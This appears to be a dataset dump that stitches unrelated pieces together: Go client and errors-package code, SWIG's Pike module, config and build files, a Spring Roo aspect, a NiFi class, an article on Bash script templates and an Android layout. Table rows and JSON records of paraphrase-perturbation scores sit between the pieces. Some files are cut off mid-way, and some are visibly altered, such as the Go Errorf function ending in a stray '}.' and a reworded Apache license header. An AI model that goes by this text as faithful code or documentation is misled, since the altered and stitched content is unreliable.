Do(ctx).
Into(result)
return
}
// Watch returns a watch.Interface that watches the requested cloud9EnvironmentEc2s.
func (c *cloud9EnvironmentEc2s) Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error) {
var timeout time.Duration
if opts.TimeoutSeconds != nil {
timeout = time.Duration(*opts.TimeoutSeconds) * time.Second
}
opts.Watch = true
return c.client.Get().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&opts, scheme.ParameterCodec).
Timeout(timeout).
Watch(ctx)
}
// Create takes the representation of a cloud9EnvironmentEc2 and creates it. Returns the server's representation of the cloud9EnvironmentEc2, and an error, if there is any.
func (c *cloud9EnvironmentEc2s) Create(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.CreateOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Post().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&opts, scheme.ParameterCodec).
Body(cloud9EnvironmentEc2).
Do(ctx).
Into(result)
return
}
// Update takes the representation of a cloud9EnvironmentEc2 and updates it. Returns the server's representation of the cloud9EnvironmentEc2, and an error, if there is any.
func (c *cloud9EnvironmentEc2s) Update(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Put().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(cloud9EnvironmentEc2.Name).
VersionedParams(&opts, scheme.ParameterCodec).
Body(cloud9EnvironmentEc2).
Do(ctx).
Into(result)
return
}
// UpdateStatus was generated because the type contains a Status member.
// Add a +genclient:noStatus comment above the type to avoid generating UpdateStatus().
func (c *cloud9EnvironmentEc2s) UpdateStatus(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Put().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(cloud9EnvironmentEc2.Name).
SubResource("status").
VersionedParams(&opts, scheme.ParameterCodec).
Body(cloud9EnvironmentEc2).
Do(ctx).
Into(result)
return
}
// Delete takes name of the cloud9EnvironmentEc2 and deletes it. Returns an error if one occurs.
func (c *cloud9EnvironmentEc2s) Delete(ctx context.Context, name string, opts v1.DeleteOptions) error {
return c.client.Delete().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(name).
Body(&opts).
| null | 1
|
{
"advantage_score_max": 8.639195442199707,
"advantage_score_mean": 3.679154634475708,
"advantage_score_min": 1.120711326599121,
"advantage_score_std": 2.7325758934020996,
"advantage_scores": [
8.639195442199707,
7.835461616516113,
7.771309852600098,
4.526700019836426,
3.7181549072265625,
2.427838087081909,
2.3357553482055664,
1.8612139225006104,
1.590471863746643,
1.1781079769134521,
1.1449317932128906,
1.120711326599121
],
"baseline_doc_loss": 0.11287897825241089,
"baseline_truncated": false,
"doc_advantage_score": 3.7950565814971924,
"length_change_ratio": 0.6835365853658537,
"net_length_change_chars": -519,
"original_sentences_length_chars": 1640,
"replacement_paraphrases_length_chars": 1121,
"sentences_perturbed": 1,
"target_doc_loss": 0.02974368818104267,
"target_truncated": false,
"threshold_passing_sentences": 12,
"total_doc_length_chars": 6604,
"total_sentences": 62,
"truncated": false
}
|
/* -----------------------------------------------------------------------------
* This file is part of SWIG, which is licensed as a whole under version 3
* (or any later version) of the GNU General Public License. Some additional
* terms also apply to certain portions of SWIG. The full details of the SWIG
* license and copyrights can be found in the LICENSE and COPYRIGHT files
* included with the SWIG source code as distributed by the SWIG developers
* and at http://www.swig.org/legal.html.
*
* pike.cxx
*
* Pike language module for SWIG.
* ----------------------------------------------------------------------------- */
/*
* Notes:
*
* - The current approach used for "out" typemaps is inconsistent with
* how "out" typemaps are handled by other language modules. Instead
* of converting the C/C++ type ($1) to a Pike object type (e.g. a
* struct svalue), we're just calling the appropriate push_XXX
* (e.g. push_int) to push the return value onto the stack.
*
* - Pike classes can't have static member functions or data, so we need
* to find some other appropriate mapping for C++ static member functions
* and data.
*
* - Pike doesn't seem to provide any default way to print the memory
* address, etc. for extension objects. Should we handle this differently?
*
*/
#include "swigmod.h"
#include <ctype.h> // for isalnum()
static const char *usage = "\
Pike Options (available with -pike)\n\
[no additional options]\n\
\n";
class PIKE:public Language {
private:
File *f_begin;
File *f_runtime;
File *f_header;
File *f_wrappers;
File *f_init;
File *f_classInit;
String *PrefixPlusUnderscore;
int current;
// Wrap modes
enum {
NO_CPP,
MEMBER_FUNC,
CONSTRUCTOR,
DESTRUCTOR,
MEMBER_VAR,
CLASS_CONST,
STATIC_FUNC,
STATIC_VAR
};
public:
/* ---------------------------------------------------------------------
* PIKE()
*
* Initialize member data
* --------------------------------------------------------------------- */
PIKE() {
f_begin = 0;
f_runtime = 0;
f_header = 0;
f_wrappers = 0;
f_init = 0;
f_classInit = 0;
PrefixPlusUnderscore = 0;
current = NO_CPP;
}
/* ---------------------------------------------------------------------
* main()
*
* Parse command line options and initializes variables.
* --------------------------------------------------------------------- */
virtual void main(int argc, char *argv[]) {
/* Set location of SWIG library */
SWIG_library_directory("pike");
/* Look for certain command line options */
for (int i = 1; i < argc; i++) {
if (argv[i]) {
if (strcmp(argv[i], "-help") == 0) {
fputs(usage, stdout);
}
}
}
/* Add a symbol to the parser for conditional compilation */
Preprocessor_define("SWIGPIKE 1", 0);
/* Set language-specific configuration file */
SWIG_config_file("pike.swg");
/* Set typemap language */
SWIG_typemap_lang("pike");
/* Enable overloaded methods support */
allow_overloading();
}
/* ---------------------------------------------------------------------
* top()
* --------------------------------------------------------------------- */
virtual int top(Node *n) {
/* Get the module name */
String *module = Getattr(n, "name");
/* Get the output file name */
String *outfile = Getattr(n, "outfile");
/* Open the output file */
f_begin = NewFile(outfile, "w", SWIG_output_files());
if (!f_begin) {
FileErrorDisplay(outfile);
SWIG_exit(EXIT_FAILURE);
}
f_runtime = NewString("");
f_init = NewString("");
f_classInit = NewString("");
f_header = NewString("");
f_wrappers = NewString("");
/* Register file targets with the SWIG file handler */
Swig_register_filebyname("header", f_header);
Swig_register_filebyname("wrapper", f_wrappers);
Swig_register_filebyname("begin", f_begin);
Swig_register_filebyname("runtime", f_runtime);
Swig_register_filebyname("init", f_init);
Swig_register_filebyname("classInit", f_classInit);
/* Standard stuff for the SWIG runtime section */
Swig_banner(f_begin);
Printf(f_runtime, "\n\n#ifndef SWIGPIKE\n#define SWIGPIKE\n#endif\n\n");
Printf(f_header, "#define SWIG_init pike_module_init\n");
Printf(f_header, "#define SWIG_name \"%s\"\n\n", module);
/* Change naming scheme for constructors and destructors */
Swig_name_register("construct", "%n%c_create");
Swig_name_register("destroy", "%n%c_destroy");
/* Current wrap type */
current = NO_CPP;
/* Emit code for children */
Language::top(n);
/* Close the initialization function */
Printf(f_init, "}\n");
SwigType_emit_type_table(f_runtime, f_wrappers);
/* Close all of the files */
Dump(f_runtime, f_begin);
Dump(f_header, f_begin);
Dump(f_wrappers, f_begin);
Wrapper_pretty_print(f_init, f_begin);
Delete(f_header);
Delete(f_wrappers);
Delete(f_init);
Delete(f_classInit);
Delete(f_runtime);
Delete(f_begin);
/* Done */
return SWIG_OK;
}
/* ------------------------------------------------------------
* validIdentifier()
* ------------------------------------------------------------ */
virtual int validIdentifier(String *s) {
char *c = Char(s);
const char *c0 = c;
const char *c1 = c0 + 1;
while (*c) {
if (*c == '`' && c == c0) {
c++;
continue;
}
if ((*c == '+' || *c == '-' || *c == '*' || *c == '/') && c == c1) {
c++;
continue;
}
if (!(isalnum(*c) || (*c == '_')))
return 0;
c++;
}
return 1;
}
/* ------------------------------------------------------------
* importDirective()
* ------------------------------------------------------------ */
virtual int importDirective(Node *n) {
String *modname = Getattr(n, "module");
if (modname) {
Printf(f_init, "pike_require(\"%s\");\n", modname);
}
return Language::importDirective(n);
}
/* ------------------------------------------------------------
* strip()
*
* For names that begin with the current class prefix plus an
* underscore (e.g. "Foo_enum_test"), return the base function
* name (i.e. "enum_test").
* ------------------------------------------------------------ */
String *strip(const DOHconst_String_or_char_ptr name) {
String *s = Copy(name);
if (Strncmp(name, PrefixPlusUnderscore, Len(PrefixPlusUnderscore)) != 0) {
return s;
}
Replaceall(s, PrefixPlusUnderscore, "");
return s;
}
/* ------------------------------------------------------------
* add_method()
* ------------------------------------------------------------ */
void add_method(const DOHconst_String_or_char_ptr name, const DOHconst_String_or_char_ptr function, const DOHconst_String_or_char_ptr description
| null | 1
|
{
"advantage_score_max": 1.7863428592681885,
"advantage_score_mean": 1.4677656888961792,
"advantage_score_min": 1.14918851852417,
"advantage_score_std": 0.3185771703720093,
"advantage_scores": [
1.7863428592681885,
1.14918851852417
],
"baseline_doc_loss": 1.3565963506698608,
"baseline_truncated": false,
"doc_advantage_score": 1.2681349515914917,
"length_change_ratio": 1.2142857142857142,
"net_length_change_chars": 6,
"original_sentences_length_chars": 28,
"replacement_paraphrases_length_chars": 34,
"sentences_perturbed": 1,
"target_doc_loss": 1.069757103919983,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 6960,
"total_sentences": 18,
"truncated": false
}
|
// Package errors provides simple error handling primitives.
//
// The traditional error handling idiom in Go is roughly akin to
//
// if err != nil {
// return err
// }
//
// which applied recursively up the call stack results in error reports
// without context or debugging information. The errors package allows
// programmers to add context to the failure path in their code in a way
// that does not destroy the original value of the error.
//
// Adding context to an error
//
// The errors.Wrap function returns a new error that adds context to the
// original error by recording a stack trace at the point Wrap is called,
// and the supplied message. For example
//
// _, err := ioutil.ReadAll(r)
// if err != nil {
// return errors.Wrap(err, "read failed")
// }
//
// If additional control is required the errors.WithStack and errors.WithMessage
// functions destructure errors.Wrap into its component operations of annotating
// an error with a stack trace and an a message, respectively.
//
// Retrieving the cause of an error
//
// Using errors.Wrap constructs a stack of errors, adding context to the
// preceding error. Depending on the nature of the error it may be necessary
// to reverse the operation of errors.Wrap to retrieve the original error
// for inspection. Any error value which implements this interface
//
// type causer interface {
// Cause() error
// }
//
// can be inspected by errors.Cause. errors.Cause will recursively retrieve
// the topmost error which does not implement causer, which is assumed to be
// the original cause. For example:
//
// switch err := errors.Cause(err).(type) {
// case *MyError:
// // handle specifically
// default:
// // unknown error
// }
//
// causer interface is not exported by this package, but is considered a part
// of stable public API.
//
// Formatted printing of errors
//
// All error values returned from this package implement fmt.Formatter and can
// be formatted by the fmt package. The following verbs are supported
//
// %s print the error. If the error has a Cause it will be
// printed recursively
// %v see %s
// %+v extended format. Each Frame of the error's StackTrace will
// be printed in detail.
//
// Retrieving the stack trace of an error or wrapper
//
// New, Errorf, Wrap, and Wrapf record a stack trace at the point they are
// invoked. This information can be retrieved with the following interface.
//
// type stackTracer interface {
// StackTrace() errors.StackTrace
// }
//
// Where errors.StackTrace is defined as
//
// type StackTrace []Frame
//
// The Frame type represents a call site in the stack trace. Frame supports
// the fmt.Formatter interface that can be used for printing information about
// the stack trace of this error. For example:
//
// if err, ok := err.(stackTracer); ok {
// for _, f := range err.StackTrace() {
// fmt.Printf("%+s:%d", f)
// }
// }
//
// stackTracer interface is not exported by this package, but is considered a part
// of stable public API.
//
// See the documentation for Frame.Format for more details.
package errors
import (
"fmt"
"io"
)
// New returns an error with the supplied message.
// New also records the stack trace at the point it was called.
func New(message string) error {
return &fundamental{
msg: message,
stack: callers(),
}
}
// Errorf formats according to a format specifier and returns the string
// as a value that satisfies error.
// Errorf also records the stack trace at the point it was called.
func Errorf(format string, args ...any) error {
return &fundamental{
msg: fmt.Sprintf(format, args...),
stack: callers(),
}
}.
type fundamental struct {
msg string
*stack
}
func (f *fundamental) Error() string { return f.msg }
func (f *fundamental) Format(s fmt.State, verb rune) {
switch verb {
case 'v':
if s.Flag('+') {
io.WriteString(s, f.msg)
f.stack.Format(s, verb)
return
}
fallthrough
case 's':
io.WriteString(s, f.msg)
case 'q':
fmt.Fprintf(s, "%q", f.msg)
}
}
// WithStack annotates err with a stack trace at the point WithStack was called.
// If err is nil, WithStack returns nil.
func WithStack(err error) error {
if err == nil {
return nil
}
return &withStack{
err,
callers(),
}
}
type withStack struct {
error
*stack
}
func (w *withStack) Cause() error { return w.error }
func (w *withStack) Format(s fmt.State, verb rune) {
switch verb {
case 'v':
if s.Flag('+') {
fmt.Fprintf(s, "%+v", w.Cause())
w.stack.Format(s, verb)
return
}
fallthrough
case 's':
io.WriteString(s, w.Error())
case 'q':
fmt.Fprintf(s, "%q", w.Error())
}
}
// Wrap returns an error annotating err with a stack trace
// at the point Wrap is called, and the supplied message.
// If err is nil, Wrap returns nil.
func Wrap(err error, message string) error {
if err == nil {
return nil
}
err = &withMessage{
cause: err,
msg: message,
}
return &withStack{
err,
callers(),
}
}
// Wrapf returns an error annotating err with a stack trace
// at the point Wrapf is call, and the format specifier.
// If err is nil, Wrapf returns nil.
func Wrapf(err error, format string, args ...interface{}) error {
if err == nil {
return nil
}
err = &withMessage{
cause: err,
msg: fmt.Sprintf(format, args...),
}
return &withStack{
err,
callers(),
}
}
// WithMessage annotates err with a new message.
// If err is nil, WithMessage returns nil.
func WithMessage(err error, message string) error {
if err == nil {
return nil
}
return &withMessage{
cause: err,
msg: message,
}
}
type withMessage struct {
cause error
msg string
}
func (w *withMessage) Error() string { return w.msg + ": " + w.cause.Error() }
func (w *withMessage) Cause() error { return w.cause }
func (w *withMessage) Format(s fmt.State, verb rune) {
switch verb {
case 'v':
if s.Flag('+') {
fmt.Fprintf(s, "%+v\n", w.Cause())
io.WriteString(s, w.msg)
return
}
fallthrough
case 's', 'q':
io.WriteString(s, w.Error())
}
}
// Cause returns the underlying cause of the error, if possible.
// An error value has a cause if it implements the following
// interface:
//
// type causer interface {
// Cause() error
// }
//
// If the error does not implement Cause, the original error will
// be returned. If the error is nil, nil will be returned without further
// investigation.
func Cause(err error) error {
type causer interface {
Cause() error
}
for err != nil {
cause, ok := err.(causer)
if !ok {
break
}
err = cause.Cause()
}
return err
}
| null | 1
|
{
"advantage_score_max": 8.387434959411621,
"advantage_score_mean": 3.3371524810791016,
"advantage_score_min": 1.1343348026275635,
"advantage_score_std": 1.8533192873001099,
"advantage_scores": [
8.387434959411621,
7.080834865570068,
5.8893818855285645,
5.335151195526123,
4.382051944732666,
4.318312644958496,
4.1706085205078125,
4.058469295501709,
3.7562835216522217,
3.5796689987182617,
3.3450238704681396,
3.327744960784912,
2.8057100772857666,
2.706557035446167,
2.3670053482055664,
2.118683338165283,
1.894464373588562,
1.8889201879501343,
1.6674201488494873,
1.5583463907241821,
1.533296823501587,
1.4230226278305054,
1.3629342317581177,
1.1343348026275635
],
"baseline_doc_loss": 0.6142426133155823,
"baseline_truncated": false,
"doc_advantage_score": 25.538225173950195,
"length_change_ratio": 0.6203703703703703,
"net_length_change_chars": -82,
"original_sentences_length_chars": 216,
"replacement_paraphrases_length_chars": 134,
"sentences_perturbed": 1,
"target_doc_loss": 0.024051891639828682,
"target_truncated": false,
"threshold_passing_sentences": 24,
"total_doc_length_chars": 6838,
"total_sentences": 40,
"truncated": false
}
|
{
"CN": "khs1994.com",
"hosts": "HOSTS",
"key": {
"algo": "ecdsa",
"size": 256
},
"names": [{
"C": "US",
"L": "CA",
"ST": "San Francisco"
}]
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
file(REMOVE_RECURSE
"CMakeFiles/example-collection-watch.dir/examples/example-collection-watch.c.o"
"example-collection-watch.pdb"
"example-collection-watch"
)
# Per-language clean rules from dependency scanning.
foreach(lang C)
include(CMakeFiles/example-collection-watch.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
using System.Reflection;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("GVFS.Hooks")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("GVFS.Hooks")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("bda91ee5-c684-4fc5-a90a-b7d677421917")]
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.0049172639846802,
"baseline_truncated": false,
"doc_advantage_score": 1.914880394935608,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.5247937440872192,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 971,
"total_sentences": 5,
"truncated": false
}
|
// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO.
// You may push code into the target .java compilation unit if you wish to edit any member(s).
package org.springframework.roo.clinictests.web;
import io.springlets.data.domain.GlobalSearch;
import io.springlets.data.web.datatables.Datatables;
import io.springlets.data.web.datatables.DatatablesData;
import io.springlets.data.web.datatables.DatatablesPageable;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.MessageSource;
import org.springframework.context.i18n.LocaleContextHolder;
import org.springframework.data.domain.Page;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.roo.clinictests.domain.Pet;
import org.springframework.roo.clinictests.domain.PetNameAndWeightFormBean;
import org.springframework.roo.clinictests.service.api.PetService;
import org.springframework.roo.clinictests.web.PetsSearchThymeleafController;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
privileged aspect PetsSearchThymeleafController_Roo_Thymeleaf {
declare @type: PetsSearchThymeleafController: @Controller;
declare @type: PetsSearchThymeleafController: @RequestMapping(value = "/pets/search", name = "PetsSearchThymeleafController", produces = MediaType.TEXT_HTML_VALUE);
/**
* TODO Auto-generated attribute documentation
*/
private MessageSource PetsSearchThymeleafController.messageSource;
/**
* TODO Auto-generated constructor documentation
*
* @param petService
* @param messageSource
*/
@Autowired
public PetsSearchThymeleafController.new(PetService petService, MessageSource messageSource) {
setPetService(petService);
setMessageSource(messageSource);
}
/**
* TODO Auto-generated method documentation
*
* @return MessageSource
*/
public MessageSource PetsSearchThymeleafController.getMessageSource() {
return messageSource;
}
/**
* TODO Auto-generated method documentation
*
* @param messageSource
*/
public void PetsSearchThymeleafController.setMessageSource(MessageSource messageSource) {
this.messageSource = messageSource;
}
/**
* TODO Auto-generated method documentation
*
* @param formBean
* @param model
* @return ModelAndView
*/
@GetMapping(name = "byNameAndWeightForm", value = "/byNameAndWeight/search-form")
public ModelAndView PetsSearchThymeleafController.byNameAndWeightForm(@ModelAttribute("formBean") PetNameAndWeightFormBean formBean, Model model) {
model.addAttribute("application_locale", LocaleContextHolder.getLocale().getLanguage());
return new ModelAndView("pets/findByNameAndWeightForm");
}
/**
* TODO Auto-generated method documentation
*
* @param formBean
* @param model
* @return ModelAndView
*/
@GetMapping(name = "byNameAndWeight", value = "/byNameAndWeight")
public ModelAndView PetsSearchThymeleafController.byNameAndWeight(@ModelAttribute("formBean") PetNameAndWeightFormBean formBean, Model model) {
model.addAttribute("application_locale", LocaleContextHolder.getLocale().getLanguage());
return new ModelAndView("pets/findByNameAndWeight");
}
/**
* TODO Auto-generated method documentation
*
* @param formBean
* @param search
* @param pageable
* @param draw
* @return ResponseEntity
*/
@GetMapping(name = "byNameAndWeightDt", value = "/byNameAndWeight/dt", produces = Datatables.MEDIA_TYPE)
@ResponseBody
public ResponseEntity<DatatablesData<Pet>> PetsSearchThymeleafController.byNameAndWeightDt(@ModelAttribute("formBean") PetNameAndWeightFormBean formBean, GlobalSearch search, DatatablesPageable pageable, @RequestParam(Datatables.PARAMETER_DRAW) Integer draw) {
Page<Pet> pets = getPetService().findByNameAndWeight(formBean,search,pageable);
long totalPetsCount = pets.getTotalElements();
if (search != null && StringUtils.isNotBlank(search.getText())) {
totalPetsCount = getPetService().countByNameAndWeight(formBean);
}
DatatablesData<Pet> datatablesData = new DatatablesData<Pet>(pets, totalPetsCount, draw);
return ResponseEntity.ok(datatablesData);
}
}
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.36074188351631165,
"baseline_truncated": false,
"doc_advantage_score": 1.9661879539489746,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.18347273766994476,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 4900,
"total_sentences": 4,
"truncated": false
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. Refer to the NOTICE file included with this work for further details about copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.cluster.protocol.message;
import javax.xml.bind.annotation.XmlRootElement;
import org.apache.nifi.cluster.protocol.Heartbeat;
/**
*/
@XmlRootElement(name = "heartbeatMessage")
public class HeartbeatMessage extends ProtocolMessage {
private Heartbeat heartbeat;
public Heartbeat getHeartbeat() {
return heartbeat;
}
public void setHeartbeat(Heartbeat heartbeat) {
this.heartbeat = heartbeat;
}
@Override
public MessageType getType() {
return MessageType.HEARTBEAT;
}
}
| null | 1
|
{
"advantage_score_max": 2.2432563304901123,
"advantage_score_mean": 2.2432563304901123,
"advantage_score_min": 2.2432563304901123,
"advantage_score_std": 0,
"advantage_scores": [
2.2432563304901123
],
"baseline_doc_loss": 0.31737464666366577,
"baseline_truncated": false,
"doc_advantage_score": 1.4942734241485596,
"length_change_ratio": 0.8878504672897196,
"net_length_change_chars": -12,
"original_sentences_length_chars": 107,
"replacement_paraphrases_length_chars": 95,
"sentences_perturbed": 1,
"target_doc_loss": 0.21239395439624786,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 1358,
"total_sentences": 6,
"truncated": false
}
|
[#]: collector: (lujun9972)
[#]: translator: ( )
[#]: reviewer: ( )
[#]: publisher: ( )
[#]: url: ( )
[#]: subject: (Creating a Bash script template)
[#]: via: (https://opensource.com/article/19/12/bash-script-template)
[#]: author: (David Both https://opensource.com/users/dboth)
Creating a Bash script template
======
In the second article in this series, create a fairly simple template
that you can use as a starting point for other Bash programs, then test
it.
![A person programming][1]
In the [first article][2] in this series, you created a very small, one-line Bash script and explored the reasons for creating shell scripts and why they are the most efficient option for the system administrator, rather than compiled programs.
In this second article, you will start building a Bash script template that serves as a foundation for other Bash scripts. The template will ultimately contain a Help facility, a licensing statement, a number of simple functions, and some logic to deal with those options and others that might be needed for the scripts that will be based on this template.
### Why create a template?
Like automation in general, the idea behind creating a template is to be the "[lazy sysadmin][3]." A template contains the basic components that you want in all of your scripts. It saves time compared to adding those components to every new script and makes it easy to start a new script.
Although it can be tempting to just throw a few command-line Bash statements together into a file and make it executable, that can be counterproductive in the long run. A well-written and well-commented Bash program with a Help facility and the capability to accept command-line options provides a good starting point for sysadmins who maintain the program, which includes the programs that _you_ write and maintain.
### The requirements
You should always create a set of requirements for every project you do. This includes scripts, even if it is a simple list with only two or three items on it. I have been involved in many projects that either failed completely or failed to meet the customer's needs, usually due to the lack of a requirements statement or a poorly written one.
The requirements for this Bash template are pretty simple:
1. Create a template that can be used as the starting point for future Bash programming projects.
2. The template should follow standard Bash programming practices.
3. It must include:
* A heading section that can be used to describe the function of the program and a changelog
* A licensing statement
* A section for functions
* A Help function
* A function to test whether the program user is root
* A method for evaluating command-line options
### The basic structure
A basic Bash script has three sections. Bash has no way to delineate sections, but the boundaries between the sections are implicit.
* All scripts must begin with the shebang (**#!**), and this must be the first line in any Bash program.
* The functions section must begin after the shebang and before the body of the program. As part of my need to document everything, I place a comment before each function with a short description of what it is intended to do. I also include comments inside the functions to elaborate further. Short, simple programs may not need functions.
* The main part of the program comes after the function section. This can be a single Bash statement or thousands of lines of code. One of my programs has a little over 200 lines of code, not counting comments. That same program has more than 600 comment lines.
That is all there is—just three sections in the structure of any Bash program.
### Leading comments
I always add more than this for various reasons. First, I add a couple of sections of comments immediately after the shebang. These comment sections are optional, but I find them very helpful.
The first comment section is the program name and description and a change history. I learned this format while working at IBM, and it provides a method of documenting the long-term development of the program and any fixes applied to it. This is an important start in documenting your program.
The second comment section is a copyright and license statement. I use GPLv2, and this seems to be a standard statement for programs licensed under GPLv2. If you use a different open source license, that is fine, but I suggest adding an explicit statement to the code to eliminate any possible confusion about licensing. Scott Peterson's article [_The source code is the license_][4] helps explain the reasoning behind this.
So now the script looks like this:
```
#!/bin/bash
################################################################################
# scriptTemplate #
# #
# Use this template as the beginning of a new program. Place a short #
# description of the script here. #
# #
# Change History #
# 11/11/2019 David Both Original code. This is a template for creating #
# new Bash shell scripts. #
# Add new history entries as needed. #
# #
# #
################################################################################
################################################################################
################################################################################
# #
# Copyright (C) 2007, 2019 David Both #
# [LinuxGeek46@both.org][5] #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
# This program is distributed in the hope that it will be useful, #
# but WITHOUT ANY WARRANTY; without even the implied warranty of #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
# GNU General Public License for more details. #
# #
# You should have received a copy of the GNU General Public License #
# along with this program; if not, write to the Free Software #
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA #
# #
################################################################################
################################################################################
| null | 1
|
{
"advantage_score_max": 2.55556058883667,
"advantage_score_mean": 1.5206478834152222,
"advantage_score_min": 1.1023114919662476,
"advantage_score_std": 0.45077329874038696,
"advantage_scores": [
2.55556058883667,
1.8881511688232422,
1.443996548652649,
1.419888973236084,
1.3039894104003906,
1.2866307497024536,
1.1646543741226196,
1.1023114919662476
],
"baseline_doc_loss": 1.4825252294540405,
"baseline_truncated": false,
"doc_advantage_score": 1.1779851913452148,
"length_change_ratio": 0.9312977099236641,
"net_length_change_chars": -9,
"original_sentences_length_chars": 131,
"replacement_paraphrases_length_chars": 122,
"sentences_perturbed": 1,
"target_doc_loss": 1.2585262060165405,
"target_truncated": false,
"threshold_passing_sentences": 8,
"total_doc_length_chars": 7537,
"total_sentences": 51,
"truncated": false
}
|
<timeinfo>
<indefinite>0</indefinite>
<duration>109.472999573</duration>
<introDuration>0.000000000</introDuration>
<outroDuration>0.000000000</outroDuration>
</timeinfo>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:mySwitch="http://schemas.android.com/apk/res-auto"
android:layout_width="fill_parent"
android:layout_height="10dp"
android:background="@null"
android:orientation="horizontal" >
<ImageView
android:id="@+id/umeng_socialize_icon"
android:layout_width="30dp"
android:layout_height="30dp"
android:layout_centerVertical="true"
android:layout_marginLeft="15dp"
android:scaleType="fitXY"
android:src="@drawable/umeng_socialize_default_avatar" />
<TextView
android:id="@+id/umeng_socialize_msg"
android:layout_width="fill_parent"
android:layout_height="45dp"
android:layout_centerVertical="true"
android:layout_marginLeft="15dp"
android:layout_marginRight="80dp"
